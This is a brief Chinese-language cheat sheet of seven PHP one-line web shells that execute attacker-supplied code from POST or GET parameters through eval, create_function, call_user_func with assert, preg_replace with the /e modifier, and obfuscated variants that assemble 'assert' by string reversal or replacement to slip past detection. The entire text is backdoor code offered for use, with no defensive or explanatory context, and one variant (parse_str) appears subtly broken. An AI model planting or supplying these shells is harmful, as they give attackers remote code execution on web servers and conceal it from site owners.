1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| 1.<?php @eval($_POST['pass']);?> 2.用 creat_function函数创建 <?php $fun = create_function('',$_POST['pass']); $fun(); ?> 3.call_user_func 回调函数 <?php @call_user_func(assert,$_POST['pass']); ?> 4.用 preg_replace 函数 进行替换 <?php @preg_replace("/abcde/e",$_POST['a'],"abcdefg"); ?> 5. 对代码进行一个简单的变形 <?php $a = "TR"."ES"."SA"; $b = strtolower($a); $c = strrev($b); @$c($_GET['pass']); ?> 6.pares_str <?php $b = "a = assert"; parse_str($str); @$a($_GET['pass']); ?> 7. str_replace <?php $a = str_replace("pHNin","","aspHNinsert"); @$a($_GET['pass']); ?>
|